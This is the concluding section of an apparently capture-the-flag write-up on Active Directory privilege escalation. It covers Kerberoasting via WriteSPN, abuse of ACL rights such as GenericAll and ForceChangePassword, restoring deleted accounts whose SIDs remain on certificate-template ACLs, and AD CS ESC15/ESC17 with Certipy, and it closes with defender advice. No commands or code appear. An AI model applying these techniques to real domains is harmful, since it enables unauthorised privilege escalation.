  • Time synchronization when using Kerberos.
  • Translating BloodHound/RustHound ACL edges into actual LDAP/AD object operations.
  • Kerberoasting through WriteSPN.
  • The meaning and abuse order of AddSelf, ReadGMSAPassword, ForceChangePassword, WriteOwner, and GenericAll.
  • Reading isDeleted, isRecycled, lastKnownParent, and msDS-LastKnownRDN in AD Recycle Bin.
  • Investigating cases where a deleted object’s SID remains in another object’s ACL.
  • Reading AD CS template ACLs, the Certificate-Enrollment extended right, and ESC15/ESC17.
  • Distinguishing Certipy’s req, auth, -application-policies, -pfx, and -on-behalf-of options.
  • Checking that a certificate contains a UPN/SID before trying to authenticate with it.

The key to this box was to understand the BloodHound path as the ACLs and state changes of individual AD objects, rather than as instructions from a tool. In particular, on the system side, I had to avoid mistaking GenericAll over OU=ADCS for permission to edit a GPO and shift from the empty OU to Deleted Objects.

The decisive point in restoring cert_admin was tracing SID references rather than names or group membership. The idea that a deleted object’s SID can remain on a certificate template ACL applies to other AD CS problems too. In the final Certipy step, issuance alone was insufficient: I needed to check the output for a UPN and SID that could be used for authentication.

This path also has implications for defenders. Deleting an account does not necessarily remove its SID from other ACLs. If AD Recycle Bin restores the object, the rights tied to that SID become effective again. If delegated rights over an OU also allow a deleted object to be restored and its password reset, an orphaned SID on a certificate template becomes a route to regaining those rights. AD CS ACLs and ordinary AD ACLs are often audited separately, but both are linked by the same SID.

Deleting an account alone is therefore insufficient. Its SID should also be sought in ACLs on groups, OUs, GPOs, certificate templates, CA rights, and similar objects, and unnecessary ACEs removed. This box was not just an AD CS box: it taught AD object lifecycle and SID-based access control consistently from BloodHound through certificates.